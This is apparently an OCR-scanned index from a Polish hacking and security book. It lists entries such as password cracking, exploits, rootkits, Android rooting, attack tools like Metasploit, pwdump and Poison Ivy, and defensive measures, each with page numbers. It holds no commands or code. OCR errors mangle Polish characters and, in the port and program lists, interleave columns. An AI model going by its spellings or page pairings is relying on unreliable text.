stownikowe zautomatyzowane, 335
w trybie odbiorczym, 288
w trybie offline, 529
z uwierzytelnianiem, 201, 229, 257
z wykorzystaniem
przepetnienia, 304
wiszacych wskaznikow, 308
znaku, 306
za pomocg formatujacych taicuchéw
znakow, 299
zdalne, 221, 315

automatyczne

aktualizacje, 262
skanery luk, 121
uruchamianie programoéw, 259
wyliczanie uzytkownikéw, 517

autoryzacja, 760
autoryzacja MIC, 760

na klienta, 539

na OpenSSH, 118

na OpenSSL, 332

na protokdt EAP, 564

na protokot IKE, 487, 489
na serwer Apache, 334
na sieci VolP, 510, 511
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baza danych
ARIN, 62
GHDB, 49
RDBMS, 639
BDC, Backup Domain Controller, 146
BDE, BitLocker Drive Encryption, 268
bezpieczenstwo
autoryzacja, 760
dynamiczne wzbogacanie, 762
inspekeja, 759
instalowanie poprawek, 771
iPhone’ow, 740
kontrolowane awarie, 763
obiektéw komputera, 266
podzial zadan, 758
przez niezrozumiato$¢, 513
reagowanie na incydenty, 758
stosowanie warstw, 761
systemu iOS, 728
systemu Windows, 279
szkolenia, 763
urzadzen przenoénych, 753
usuwanie zasobow, 758
uwierzytelnianie, 760
wykrywanie wlaman, 758
zabezpieczanie punktoéw koncowych, 758
zabezpieczenia techniczne, 759
zapewnianie kontroli i rownowazenia, 759
zapobieganie zmowie, 759
bezpieczne
korzystanie z internetu, 226
programowanie, 294, 310
bezpieczny zdalny dostep, 331
bezposrednie sprawdzanie portéw, 88
BGP, Border Gateway Protocol, 174
biala lista, 304
biblioteka hack_library, 532
biblioteki wspotuzytkowane, 346
bilet
TGT, 220
Kerberosa, 220
BIND, Berkeley Internet Name Domain, 132
bit SUID, 342, 346, 349
blokowanie
dostepu do informacji, 164
dostepu do portow, 280
dostepu do rejestru, 168
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dostepu do tftpboot, 137
dostepu do urzadzenia, 128
instalowania aplikacji, 711
kodu, 296
konta na serwerze, 159
netcata, 408
polaczen anonimowych, 163
portu 79, 137, 149
przesylania informacji o strefie, 134
skanowania, 121
wywolania instrukeji EXPN, 130
zadan rekordu version.bind, 134
blad posiadania znaku, 306
bledy
obstugi sygnalow, 345
przepelnienia bufora, 370
w jadrze, 347
w konfiguracji baz danych, 666
w konfiguracji systemu, 352
w silnikach bazodanowych, 657
botnet, 424
brama
Asterisk, 515
SIP, 515, 532

C

Cain
funkcja falszowania pakietow ARP, 213
opcja Send All to Cracker, 213
podstuchiwanie uwierzytelniania, 213
szperacz pakietow, 213
CDE, Common Desktop Environment, 318
CDR, Call Detail Record, 481
cebulowy serwer pos$redniczacy, 28
centrum zabezpieczen, 263
CIDR, Classless Inter-Domain Routing, 80
CRC, Cyclic Redundancy Checking, 380
CSREF, Cross-Site Request Forgery, 644
CSS, Cascading Style Sheet, 40
CTL, Certificate Trust List, 522
CVS, Concurrent Version System, 289
cyberbezpieczenstwo, 19
czarna lista, 303
czas potrzebny do zlamania hasta, 215, 238
czyszczenie dziennika zdarzen, 255, 360, 365
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Dalvik, 677
DAM, Database Activity Monitoring, 774
dane

CPLC, 719

wejsciowe, 302

z aplikacji Skype, 711, 713

ze skanowania, 112
dekodowanie symboli, 593
demon xinetd, 296
DEP, Data Execution Prevention, 273
DLP, Data Leak Prevention, 765
DNS, 328, 329
dokument

NIST 800-63, 241

RFC 1323, 107

RFEC 1644, 109

RFC 1812, 106

RFC 2052, 130

RFEC 2196, 54

RFC 2571, 174

RFC 3227, 388

RFC 792, 81

RFC 793, 107

RFC 952, 67

Site Security Handbook, 54
dokumentacja HOWTO, 350
DoS, Denial of Service, 532, 552, 794
dostep

do agenta SNMP, 169

do internetu, 502, 707

do kodu Zrédtowego Androida, 677

do konfiguracji rutera, 136

do konta administratora, 356, 682

do konta SYSTEM, 230

do konta uzytkownika, 229

do maszyn w sieci, 427

do pliku passwd, 335

do portu 135, 144

do powtoki, 410, 495

do powloki przez kod w PHP, 420

do rejestru, 168

do sieci, 276

do strumienia, 526

do systemu, 117

do systemu plikow, 502, 505

do systemu pomocy, 502

do udziatu IPC$, 205
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do uktad6w elektrycznych, 586

do urzadzenia, 128, 751

do ustug TS, 249

do ustugi AD, 180

do wezléw, 259

do wywotan MSRPC, 144

do zasobow serwera, 216

do zdalnej powtoki, 706

lokalny, 286, 335

zdalny, 286, 287
dostepne Zrédta danych, 63
dowiazania symboliczne, 341-343
drukowanie, 501
DTLS, Datagram Transport Layer Security, 532
dynamiczne zabezpieczenia, 763
dyski ATA, 580
dzialanie WarVOX-a, 445
dziennik

logowania, 360

programu antywirusowego, 407

wtmp, 361

zdarzen, 211, 255, 402

edytor obiektéw zasad grupy, 266
edytory tekstu, 505
EFS, Encrypting File System, 267
eksploit, 112, 124
Burrito Root, 685
LSADump, 230
odbiornika TNS, 654
RageAgainstTheCage, 702
eksploity
aplikacji uzytkowych, 225
sterownikow urzadzen, 227
trybu chronionego, 273
emulator Androida, 679
emulatory sprzetowe, 599
eskalacja uprawnien, 335

F

falszowanie
adresu IP telefonu, 514
danych uwierzytelniajacych, 202, 555
dzwoniacego numeru, 448
pakietow ARP, 216, 524
zadan NTLM, 217
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falszywe
Kklikniecia, 423
skanowanie, 97
fatszywy e-mail, 409
FEK, File Encryption Key, 267
FileZilla, 126
filtr
ISAPI, 614
WebDAV, 614
filtrowanie danych w sieci, 29
fingerprinting
aktywny stosu, 105
pasywny stosu, 109
ustug, 117
firma
Avaya, 510
Carrier 1Q, 715, 717
Cisco, 510, 522
Citrix, 489
HP, 632
IBM, 635
Nortel, 528
Oracle, 659
SPI Dynamics, 630
firmware, 594
footprinting, 30, 34-75
badanie nazw DNS, 64
badanie trasy pakietu, 71
identyfikowane informacje, 35
informacje dostepne publicznie, 37
informacje na temat adreséw IP, 59
informacje na temat domen, 57
informacje o pracownikach, 42
informacje o strefie, 65
informacje o zabezpieczeniach, 47
informacje zarchiwizowane, 48
lokalizacja, 40
obecne wydarzenia, 46
powigzane organizacje, 40
strony firmowe, 38
uprawnienia, 37

zaawansowane opcje wyszukiwania, 48

footprinting numeréw telefonéw, 439
format

base64, 426

ELF, 681

G.711, 527

MCEF, 338
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RPM, 355
SWE, 38
formatujace fancuchy znakéw, 299-301
fragmentacja systemu Android, 699
framework
Metasploit, 221, 249
WebScarab, 625
FTP, File Transfer Protocol, 125, 315
fundacja EFF, 28
funkcja
Alerty Google, 485
DEP, 273
LSA Secrets, 242
malloc, 309
memcpy(), 307
mktemp(), 343
MS-Cache Hashes, 245
NTES streaming, 256
NX-bit, 297
PMIE, 760
printf(), 301
SSP, 295
Street View, 41
SYSKEY, 281
tmpfile(), 343
WEP, 269
Windows Service Hardening, 274
WRP, 270
xmalloc(), 331
XOR, 408
funkcje
bezpieczenstwa w Windows, 262
rootkita enyelkm, 367
SS1, 651
furtki, backdoor, 247, 259

GHDB, Google Hacking Database, 49
GPS, Global Positioning System, 545
grupa
Anonymous, 382
Everyone, 181
Opcje zabezpieczen, 167
Pre-Windows, 181
grupy dyskusyjne, 52
GTK, Group Temporal Key, 540
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hakowanie, 19
Androida, 673
aplikacji i danych, 603
aplikacji sieciowych, 202, 618
bazy danych, 652
cudzych urzadzen, 698, 735
dyskow ATA, 581
infrastruktury, 431
iPhone’ow, 729, 735, 751
kart magnetycznych, 575
kart RFID, 578
kioskow, 504
poczty glosowej, 476, 477
potaczen VoIP, 437
rozwigzan mobilnych, 671
serweréw WWW, 608
sieci bezprzewodowych, 535
sieci VPN, 482, 485, 489
sprzetu, 571
systeméw PBX, 472, 475
systemu UNIX, 283
systemu Windows, 199
ustug DISA, 480
wlasnych urzadzen z Androidem, 681
hasto, 231, 234, 241
do BIOS-a, 281
do konta nagios, 418
dysku, 579
konta ustug, 242
hiperlacza, 501
HIPS, Host-based Intrusion Preventions System,
765
host posredniczacy, pivot host, 420
hosty ustug, 275

ICE, In-Circuit Emulator, 599
ICMP, Internet Control Message Protocol, 81
ICS, Industrial Control Systems, 438
identyfikator

BSSID, 433

FCC, 592

OUI, 80

PID, 260, 392

RID, 157
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SID, 156

SSID, 433, 538

URI, 708

VLAN ID, 527

VVID, 527
identyfikatory

sieciowe, 175

zabezpieczen, security identifiers, 156
identyfikowanie

pindéw, 589

sieci, 176

systemu, 104

uklad6w scalonych, 587

ustug, 95
IDS, Intrusion Detection System, 36, 90, 102
IDT, Interrupt Descriptor Table, 367
ignorowanie pakietéw SYN+FIN, 109
IIS, Internet Information Services, 140
IKE, Internet Key Exchange, 191, 483
implementacja OpenSSL, 333
infekowanie bazy danych, 668
informacje

na temat adresow, 59

na temat domen, 57

o banerach, 122

o geolokalizacji urzadzenia, 42

o polaczeniu, 397

o portach, 413

o pracownikach, 42

o protokole SNMP, 36

o strefie, 65-68, 130, 134

o systemie, 127

z rejestru, 153
inspekcja, 760
instalacja ustugi AD, 181
instalowanie Metasploita, 112
instrukcja, Patrz polecenie
instrukcje w atakach XSS, 638
interfejs

API Power Manager, 707

AppScana, 635

ath0, 434

eth0, 525

ICSP, 597

JTAG, 588, 599

JTAG Wiggler, 601

NSE, 121

VES, 368

WHOIS, 440
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inzynieria wsteczna firmeware’u, 594
IPP, Internet Printing Protocol, 612
IPS, Intrusion Preventions System, 74
1PSec, 191, 360
ISN, Initial Sequence Number, 106
IV, Initialization Vector, 554
izolowanie

sesji zerowej, 276

zasobow ustug, 274

J

jailbreaking, 729, 739
jailbreaking zdalny, 734
jednostki

LIR, 56

NIR, 56

RIR, 56
jezyk

ASPECT, 464

Lua, 652

NASL, 119

PL/SQL, 659

QBASIC, 464

VBA, 495
JSP, Java Server Pages, 611
JTAG, Joint Test Action Group, 599

kabel USB-JTAG, 600
kalkulator Microsoftu, 499
kanal powrotny programu nc, 314
kanaly, 537
karta
dostepu
magnetyczna, 575
RFID, 578
NIC, 357
portu szeregowego, 442
sieciowa bezprzewodowa
chipset, 542
interfejs, 543
obstuga anteny, 543
obstuga pasma, 542
katalog
Active Directory, 265
kmem, 366
log, 360
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Prefetch, 399, 404
syslog, 416
system32, 426
System32, 406
tftpboot, 137
tmp, 342
katalogi niezabezpieczone, 620
klient
ActiveX RDP, 49
FTP, 126
netcat, 31
nfs, 322
nslookup, 65
proxychain, 30
Vidalia, 29
VPN, 484
klucz
FEK, 267
PGP, 64
uderzeniowy, 573
WEDP, 433, 554
wspdlny, 559
Klucze szyfrowania, 540
kod
testowy, 596
zrodlowy ASP, 610
kodek G.729, 529
kolejka harmonogramu zadan, 261
komisja SEC, 46
kompilacja WarVOX, 446
kompilator skrosny, 692
komunikacja z modemami, 463
komunikat
ICMP ADDRESS MASK, 83
ICMP ECHO REQUEST, 84
ICMP TIME_EXCEED, 72
ICMP TIMESTAMP, 83
jar verified, 698
TIMESTAMP, 86
komunikaty
ICMP, 81
o btedach, 128
o btedach ICMP, 106
Toast, 707
konferencja FOCUS 11, 742
konfiguracja
modutu eksploita, 223
TFTP telefonu, 523
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konfigurowanie
automatycznych aktualizacji, 262
narzedzia SessionID Analysis, 628
odbiornika netcata, 316
programu ldp, 178
przeszukiwania witryny, 622
zasad konta, 209
konserwacja oprogramowania, 771
konsola
GPMC, 265, 770
MMC, 265
konto
administratora, 230, 353
nagios, 418
SYSTEM, 230
ustug, 242
kontrola
dostepu, 36, 270
konta uzytkownika, 271
kontroler domeny, 178
kopiowanie
kart dostepu, 575, 578
powtoki polecen, 258

L

LDAP, Lightweight Directory Access Protocol,
177
LEAP, Lightweight Extensible Authentication
Protocol, 564
liczba prob logowania, 208
LIDS, Linux Intrusion Detection System, 368
linia do transferu danych, 445
linie POTS, 533
lista
ACL, 36, 72, 296
ACL chronionych zasobéw, 270
portow, 194, 782
wpisow DN, 68
zalogowanych uzytkownikéw, 167
LKM, Loadable Kernel Module, 365
LM, LAN Manager, 212
logowanie
anonimowe, 151
do sieci gtosowych, 473
lokalne przepelnienie bufora, 340
losowy modyfikator, 235
LUA, Least User Access, 271
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luka
ASP::$DATA, 611
bufora drukarki, 224
CVE-2010-1807, 699
CVE-2012-0072, 654
Print Spooler Service Impersonation, 224
rpc.ttdbserverd, 319
Translate: f, 613
w aplikacji Skype, 713
w jadrze Linuksa, 347
w kodzie RPC XDR, 307
w przegladarce Internet Explorer, 381
w wymianie komunikatow, 331
luki
bezpieczenstwa, 789
systemu, 120
w aplikacjach, 751
w bazach danych, 653
w oprogramowaniu klienckim, 202
w serwerach WWW, 608, 610
w sterownikach, 227
w systemach Windows, 201, 222
w systemie X, 326
w technologii SQL, 280
w ustugach SSH, 331
we Flashu, 226

t

fadowalne moduly jadra, 365
famanie
hasel, 231, 241, 336, 662
atak sitowy, 236
atak stownikowy, 236
kluczy WEP, 432, 554
kluczy WPA-PSK, 562
numerow PIN, 718
podstuchanych zadan, 238
skrétow LM, 238
skrotow NTLM, 238
ustug systemu Windows, 273
za pomocg tablic teczowych, 238

MaaS, Malware as a Service, 423
magistrale, 590

makro, 494

manifest, 695
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maper punktéw koncowych, 142
mapowanie

luk, 285

sieci, 90
maszyna wirtualna Dalvik, 677
maszyny typu mainframe, 39
MCF, Modular Crypt Format, 338
mechanizm

ASLR, 278

BDE, 268, 269

GS, 278

SafeSEH, 278

SEH, 273
menedzer

certyfikatow, 264

zadan, 500
metadane, 51
metoda Response.Redirect, 647
metody

protokotu SIP, 510

szyfrowania, 541
MEFT, Master File Table, 394
MIB, Management Information Base, 169
MIC, Mandatory Integrity Control, 271, 760
Microsoft Office, 494
MIKEY, Multimedia Internet Keying, 532
mikrokontroler, 589, 598
modut SE, 718
modyfikowanie aplikacji, 695-698
monitorowanie sieci, 84
montowanie firmware’u, 595
MTA, Mail Transfer Agent, 317

narzedzia
diagnostyczne, 72
dla Androida, 679
do atakowania aplikacji sieciowych, 627
do czyszczenia dziennikow, 360
do tamania hasel, 237
do monitorowania integralnosci systemu
plikow, 765
do odkrywania sieci, 83, 547

do programowania mikrokontroleréw, 598

do rootowania Androida, 682
do wardialingu, 443
do wykrywania pingowania, 91
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do zarzadzania strumieniami plikow, 256
frameworku WebScarab, 626
hakerskie, 438
pakietu Security Toolkit, 632
przekaznikowe, 31
systemu operacyjnego, 83
uzywane po wlamaniu, 258
z programu Cain, 244
narzedzie, Patrz program
NAT, NetBIOS Auditing Tool, 152
NAT, Network Address Translation, 52
nawigzywanie sesji, 539
nazwy plikéw, 258
NBNS, NetBIOS Name Service, 145
NES, Network File System, 105, 318, 320
NIC, Network Interface Card, 357

NIDS, Network Intrusion Detection System, 74

niebezpieczne
testy, 121
ustugi, 296
niestandardowe
aplikacje, 193
eksploity, 221
nieszyfrowane sieci, 550
NIS, Network Information System, 185
nisko wiszgce owoce, 460
Nmap dla Androida, 722
noénik rozruchowy, 370
NSE, Nmap Scripting Engine, 121
NT, new technology, 117
numer
AS, 61
ASN, 175
BGP, 61
IMEI 714
PIN, 718

obliczanie sumy CRC, 380
obstuga
skryptow HTR, 615
sygnalow, 344
szyfrowania, 553
ochrona anonimowo$ci, 28
odbiornik
Oracle TNS, 187, 188
rozgtoszeniowy, 696
odgadywanie hasel, 203, 206, 212
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odkrywanie
aktywne sieci, 546
hostow
ARP, 79
ICMP, 81
TCP, 86
UDP, 86
pasywne sieci, 547, 550
sieci, 83
odmawianie uprawnien, 231
odmowa ustugi, 532, 552, 616
odwrotne polaczenie telnetowe, 312
odzyskiwanie haset, 240
ograniczanie
dostepu do ustug, 207
przesylania informacji o strefie, 134
uprawnien administratora, 767
opcja
RestrictAnonymous, 163, 166, 266
Zapisz jako, 505
opcje
ike-scan
opcja —A, 192
opcja --aggressive, 192
internetowe, 263
Is
opcja—a, 414
opcja —b, 414
opcja—l, 414
nc
opcja—I, 312
opcja -v, 312
netcat
opcja —d, 248
opcja —1, 248
opcja—-L, 248
opcja —p, 248
opcja —u, 101
opcja —v, 101
opcja—vv, 101
opcja—w2, 101
opcja —z, 101
netstat
opcja —a, 395
opcja —an, 261
opcja —n, 395
opcja —o, 261, 395
Nmap, 30
opcja —b, 97
opcja-D, 96
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opcja —f, 96
opcja —n, 30
opcja —o, 96
opcja —oG, 96
opcja —oN, 96
opcja —oX, 96
opcja —p, 30
opcja —PM, 85
opcja —Pn, 88
opcja —PN, 30
opcja —PP, 85
opcja —PR, 80
opcja —sC, 121
opcja —sn, 83
opcja —sR, 183, 318
opcja —sT, 30
opcja—sV, 30, 117
sc
opcja privs, 275
opcja qprivs, 275
ScanLine, 100
TCP, 107
TSGrinder, 209

OpenSSL, 333
operacja Aurora, 379
organizacja

ARIN, 68
ASO, 56
Carrier 1Q, 714
CCNSO, 56
CERT, 310
GNSO, 56
TIANA, 55
ICANN, 55
1EEE, 537
ITU, 510

otwarte

porty, 104
ustugi, 29

OUI, Organizationally Unique Identifier, 80

P

pakiet

BIND, 328

ECHO_REPLY, 91

FIN, 106
HOST_UNREACHABLE, 91
IRPAS, 177
TIME_EXCEEDED, 91
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pakiet narzedzi

aircrack-ng, 548, 557

Burp Suite, 628

BusyBox, 693

Cain and Abel, 158

dsniff, 524

EMET, 226, 267

GRSecurity, 297

HP Security Toolkit, 632

net-snmp, 170

nfsshell, 322

Oracle Assessment Kit, 189

Oracle Auditing Tools, 190

Reskit, 146

Resource Kit, 210, 250

SDK, 679

SDK Androida, 681

Service Pack 3, 163

SFU, 182

SIPVicious, 517

Sysinternals, 388, 399

unrar, 341

wget, 621
pakiety

ARP, 555

GARP, 529

ICMP, 73

NBNS, 146

UDP, 73

wbudowane baz Oracle, 659

z falszywa opcja, 106
PAM, Pluggable Authentication Module, 332
pamiec

EEPROM, 588, 597

podreczna funkgji LSA, 242

podreczna serwera DNS, 132, 135

podreczna zadani DNS, 400
panel Poison Ivy, 422
partycja U3, 581
pasmo ISM

2,4 GHz, 537

5 GHz, 537
pasywna identyfikacja systemu, 110
pasywny fingerprinting, 111
PCM, Pulse Code Modulation, 526
PGP, Pretty Good Privacy, 64
phishing ukierunkowany, 376, 421
PIE, Position Independent Executable, 728
ping sweep, 84, 90, 114, 146
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pingowanie, 79

z wykorzystaniem protokotu ARP, 83
z wykorzystaniem protokotu TCP, 84

platforma

AMP, 630
MaasS, 423
NT, 117
UMDF, 229

.bash_history, 362, 425
.plan, 138

.rhosts, 315

1.txt, 407

6todex.dll, 393, 396, 400
Ad.bat, 407
autorun.ini, 581
Classes.dex, 695
cleanup, 402
cmd.exe, 503

core, 345

CTL, 522

dziennika, 568
explorer.exe, 503
freeze.tar.xz, 743
global.asa, 613

hosts, 396

in.ftpd, 325
index.dat, 404
inetd.conf, 138
keychain, 752
KEYLOG.itchy, 326
LMHOSTS, 146
login, 346

mail.cf, 130

MFT, 394
nmap-service-probe, 118
nmap-services, 117
ntuser.dat, 404
nudge.txt, 124
osprints.conf, 110
passwd, 136, 323, 336, 418
pps, 416

robots.txt, 140

SAM, 232

shadow, 136, 335, 345
Shadow.bak, 410
sshd_config, 328
strings.list, 364
stronicowania, 390
svchost.exe, 427
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plik
test-cgi.php, 411, 419
users.txt, 290
wce_krbtkts, 221
WINVNC.INI, 250
pliki
.apk, 695
.asp, 613
.asx, 464
bas, 464
bat, 407
.bmc, 404, 428
gif, 427
Ink, 425
.pcf, 484, 485
pf, 427
.rar, 341
.rdp, 404, 425, 428
.url, 507
.vbs, 507
.was, 464
.wsf, 507
dex, 677
dziennika, 363

dziennika programu antywirusowego, 404

ELF, 681

IPSW, 731

konfiguracyjne, 514
konfiguracyjne systemu, 353
ukryte w strumieniu, 257

z bitem SUID, 349

PMIE, Protected Mode Internet Explorer, 271

pobieranie
haset z pamieci, 242, 245
skrotow haset, 247
podrecznik man, 68
podstuchiwanie
danych, 550
danych przesylanych magistrala, 590
interfejsu bezprzewodowego, 592
protokotu Kerberos, 215
uwierzytelniania, 213, 233
wymiany hasel, 212
podsystem uwierzytelniania, 246
podziat odpowiedzi HTTP, 645, 648
pola formatu MCF, 339
pole
ACK, 106
PT, 526
TTL, 72, 524
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polecenie
ABOR, 344
at, 261, 402
auditpol, 255
db_import, 113
db_nmap, 112
dig, 68, 131
dlldump, 393
EXPN, 129
find, 349, 416
FOR, 204
gem env, 447
go.cmd, 582
grep, 364
HEAD, 139
host, 29, 68
hosts, 113
id, 701
kill, 367
killall, 138
last, 418
Is, 414
man mount, 322
nbtscan, 147
nbtstat, 147
net use, 204
net view, 146, 151
netstat, 261
nslookup, 65
openssl, 139
PASV, 345
rusers, 184
schtasks, 261
secedit, 267

SECURITY SET PASSWORD, 580

services, 114

showmount, 190, 322

snmputil, 169

strings, 401, 416

sudo, 79, 411

tail, 327

tor-resolve, 29

touch, 363

VRFY, 129, 293

xhost, 325

xlswins, 327
polaczenia

wdzwaniane, 470, 472

z systemem Meridian, 474
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1337, 354

135, 104, 142, 203

polaczenie poziomy integralnosci, 271
telnetowe, 123, 311, 313 problem liczb zmiennoprzecinkowych, 700
typu C&C, 381 proces, 260, 394
z modemem, 460 svchost, 275, 399
z serwerem FTP, 125 TrustedInstaller, 270
pomoc procesy oczekujace na pakiety, 395
aplikacji, 492 program
systemu, 492 ACE, 523
ponowny rozruch, 706 Active Directory Administration Tool, 177
poprawki jadra, 296 AIDE, 355
port aircrack-ng, 555, 558
111,182 aireplay-ng, 552, 557

airodump-ng, 433, 549
Amap, 118

137, 145, 149 Android Debug Bridge, 679
139,103, 163 apktool, 696

1417, 118 AppSentry Listener Security Check, 188
1433, 203 arp-scan, 79

1434, 186, 203 arpspoof, 524

1521, 187 asleap, 565

161, 169 ASS, 177

179, 174 Athena 2.0, 50

2049, 189 Attacker, 103

21,125 auditpol, 255

22,105 awstats, 310

222,699 axfr, 68

23,126 BMC Viewer, 406

2483, 187 Bro-IDS, 74

25,129 Burp Proxy, 628

3268, 178 Burp Repeater, 627

32771, 182, 184
3389, 104, 249

Burp Spider, 628
CacheDump, 244

389,177 Cain, 81, 213, 238, 243
443,203 Cain & Abel, 74
445,103, 163 chntpw, 268
500, 191, 486 Cin, 238
5060, 510 Citrix Access Gateway, 490
513,184 cmd, 258
53,73,130 Connect Cat, 722
69, 136 ConnectBot, 690
79,137 Courtney, 91
80, 86, 138 cp, 257
8118, 29 CurrPorts, 396
9050, 29, 31 DDMS, 679

porty dig, 68
o wysokich numerach, 105 DirBuster, 38
oczekujace na pakiety, 92 dnsenum, 133
standardowe, 782 dnsrecon, 68

poufne dane uwierzytelniajace, 342 dosemu, 350
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program LoOphtcrack, 238
dsniff, 357 1dp, 178
Dumpel, 210 LCP, 213,237-239
DumpkEvt, 211 Legion, 152
DumpSec, 151, 156 LIDS, 368
ELM Log Manager, 211 Lockdown, 142
enum, 161 logcat, 715
enumd4linux, 161 logclean-ng, 360
epdump, 142 LOIC, 383

ES File Manager, 690
Event Comb, 211
FDPro, 389
fgdump, 233
Fiddler, 626

fierce 2.0, 68

finger, 137, 182, 193
fipe, 254

Firewalk, 74

FOCA, 51

fpipe, 252

FTK Imager, 389
FTK Manager, 390
GetAcct, 166
getmac, 162

getsids, 188

Ghost, 384
GingerBreak, 684
Grendel-Scan, 141
gsecdump, 243
Handy Light, 746
host, 68

Hping3, 85

IDA Pro, 594
IKECrack, 489
IKEProber, 487
ike-scan, 191, 487, Patrz takze opcje
in.telnetd, 346
InstaStock, 747
inviteflood, 532
Ipfilter Firewall, 296
ippl, 91

iptables, 296
ISOCreate.cmd, 583
JailbreakMe, 738
John the Ripper, 237, 337
Juice Defender, 691
JXplorera, 180
Kismet, 547
logclean-ng, 362
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Is, 414, Patrz takze opcje
LSADump, 244

LSADump?2, 245

Isof, 413

LUMA, 180

macchanger, 528

Maltego, 44, 53

Market Enabler, 690

Medusa, 289

Metasploit, 112, 222

Microsoft Security Essentials, 267
msconfig, 259

MSRPC, 143

MSRT, 422

NAT, 152, 154

NBTEnum, 158, 164

nbtscan, 147

nc, 32, 101, 312, Patrz takze opcje
NeoTrace Professional, 74
Nessus, 31, 119, 618

netcat, 101, 123, 248, Patrz takze opcje

Netdom, 146

NetE, 162

netstat, 395, 412, Patrz takze opcje
Network Scanner, 152

Network Spoofer, 721

Nikto, 31, 617

Nmap, 28, 83, 121, 694, Patrz takze opcje

NMBscan, 148
Nping, 85, 89
onesixtyone, 172
OpenVAS, 119
OpenWall, 297
Ophcrack, 238
PhishTank, 387
PhoneSweep, 441-456
ping, 83

pingd, 92

pkexec, 343

Poison Ivy, 420, 422
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privoxy, 29, 39
Process Explorer, 260, 396
Process Monitor, 396
Protolog, 91
proxychains, 30
pscan, 185

PsExec, 230, 249
psk-crack, 192

pulist, 260

pwdump, 233, 234
RAT, 381

Rational AppScan, 635
Rdesktop, 206
regdmp, 154

regedit, 259

regedt32, 163, 259
Responder Pro, 389
ROM Manager, 690
rpcinfo, 182

rusers, 184

rwho, 184

Sam Spade, 68

sc, 275, Patrz takze opcje
ScanlLine, 99
scanlogd, 91

scapy, 527
Screenshot, 690
Security Toolkit, 630
sendmail, 317

Server Network Utility, 186
SET, 503

SetCPU, 690
ShareEnum, 152
Shark for Root, 720
showmount, 183, 190
services, 280
sid2user, 156
SignApk.jar, 698
SIPcrack, 531
SIPdump, 531
siphon, 110

sipsak, 519

SIPScan, 520
SiteDigger, 50
SiteDigger 2.0, 50
Sivus, 512
SMBRelay, 216
sniffdet, 359
snmpget, 170
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Snort, 74, 90, 102
SNScan, 171

socat, 31

SQL Power Injector, 641
SQLPing, 186

Squirtle, 216

srvcheck, 151

srvinfo, 151

strings, 595

SucKIT, 366

sudo, 411
SuperOneClick, 682
SuperScan, 86-89, 97
Superuser, 690
svwar.py, 517

taskkill, 260

tcpdump, 527
Tcpdump, 694
tcptraceroute, 74

TDSS, 423

Teleport Pro, 38
TeleSweep, 441, 444, 451
THC Hydra, 289
THC-Scan, 441, 453
THC-SSL-DOS, 333
The Volatility Framework Tool, 391
TonelLoc, 441, 453
traceroute, 71, 74
tracert, 71

Tripwire, 355, 765
Trout, 74

TSGrinder, 205
Ubertooth, 585

UCSniff, 529

ulimit, 345

Universal Customizer, 583
URLScan, 142

user2sid, 156
UserDump, 166
UserlInfo, 164

Venkman JavaScript Debugger, 625
Vidalia, 29

Vmmap, 396

VMMap, 399

VNG, 250

Voicemail Box Hacker, 476
VoIP Hopper, 528
Volatility, 394

vomit, 527
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program
VrACK, 476
WarVOX, 443-450
waveplay, 527
WayBack Machine, 48
WCE, 219, 246
Weblnspect, 630
wget, 38, 694
Wikto 2.0, 50
Winfingerprint, 158
WINVNGC, 259
Wireshark, 551, 566
xhost, 327
xscreensaver, 342
xterm, 324, 328
Z4Root, 683
programator pamieci EEPROM, 597
programowanie
mikrokontroleréw, 598
ROP, 298
programy
do hakowania, 260
do tamania haset, 662
statyczne, 369
typu antimalware, 258
projekt
FreeSWAN, 360
MULTICS, 284
OWASP, 610, 636
PaX, 297
RainbowCrack, 237
The Sandman Project, 390
projektowanie zabezpieczen, 757, 763, 776
protokoty
szyfrowania, 192
trasowania, 174, 177
uwierzytelniania, 220, 568
protokot
ARP, 79, 522
BGP, 174
Bluetooth, 585
DNS, 130
EAP, 564
EAP-GTC, 569
EAP-TTLS, 567
FTP, 125
H.323, 510
HTTP, 138
HTTPS, 144, 203
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ICMP, 81, 86, 92

IEEE 802.11, 432

IKE, 191, 483, 487

IPP, 612

IPSec, 215, 360

1Pv4,78

IPv6, 78

Kerberos, 213

LDAP, 177

LEAP, 564

LLDP-MED, 522

LM, 212,214

MSCHAPv2, 569

NetBIOS, 148

NTLM, 213,219

PAP, 568

PEAP, 567

PKINIT, 215

RDP, 49, 104

RPC, 182

RTP, 511

Secure FTP, 126

Secure RPC, 319

SIP, 510

SMB, 150, 163, 203, 216, 280

SMTP, 129

SNMP, 169, 173

SSH, 127, 359

SSL, 139

TCP, 71, 86

telnet, 127

TFTP, 136

TKIP, 540

TLS, 532

UDP, 86

WEDP, 433
probnik logiczny, 591
przechowywanie hasel, 244
przechwytywanie

baneréw, banner grabbing, 104, 116, 124

danych, 524, 531

pakietéw 802.11, 555

wymiany komunikatéw, 560, 565
przegladarka

Internet Explorer, 496-498

IP Network Browser, 172

MobileSafari, 738
przejecie domeny, domain hijacking, 64
przejmowanie konta administratora, 284

Pole¢ ksigzke


http://helion.pl/page354U~rt/wszyha
http://helion.pl/page354U~rf/wszyha

przekierowanie ICMP, 524
przekierowywanie
adresow DNS, 216
odpowiedzi skryptow, 646
portow, 252
przeksztalcanie na posta¢ kanoniczng, 611
przepelnienie
bufora, 278, 293, 341, 615, 659
typu catkowitoliczbowego, 304, 308
przesylanie informacji o strefie, zone transfer, 65
przeszukiwanie sieci WWW, 621
PSK, Pre-Shared Key, 559
PSTN, Public Switched Telephone Network, 438,
510
PT, Payload Type, 526
PTK, Pairwise Transient Key, 540
punkt dostepu, 433, 538
filtrowanie adreséw MAC, 539
ignorowanie Probe Request, 539
ukrywanie identyfikatora SSID, 539
punkty
ASEP, 259, 766
ataku, 769
transferu, 427

ramki

administracyjne, 546

nawigacyjne, beacon, 539
RAS, Remote Access Service, 147
RAT, Remote Administration Tool, 381
RBN, Russian Business Network, 383
RDP, Remote Desktop Protocol, 49, 104
refaktoryzacja ustug, 275
rejestratory danych w Androidzie, 713
rejestrowanie

atakow, 90

domen, 64

zawarto$ci pamieci, 389
rekonesans sieci, 74
rekord

HINFO, 67, 71

version.bind, 132, 134
RID, relative identifier, 157
robak

iKee, 739-742

Nimda, 612
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sadmind, 318

SQL Slammer, 652
robaki internetowe, 200
rodzaje skanowania, 93
rootkit, 257, 353, 368

enyelkm, 367

SucKIT, 366
rootowanie, 681
rootowanie urzadzenia Kindle Fire, 684
rozmiar okna TCP, 106
rozszerzenia serweréw, 612
rozszerzenie

MIC, 271, 277

Torbutton Firefoksa, 29

WebDAV, 614
RPC, Remote Procedure Call, 142, 182, 318
RPM, Red Hat Package Manager, 356
RTP, Real-time Transport Protocol, 511
rutery cebulowe, 28

SAM, Security Accounts Manager, 232
schemat pinéw, 589
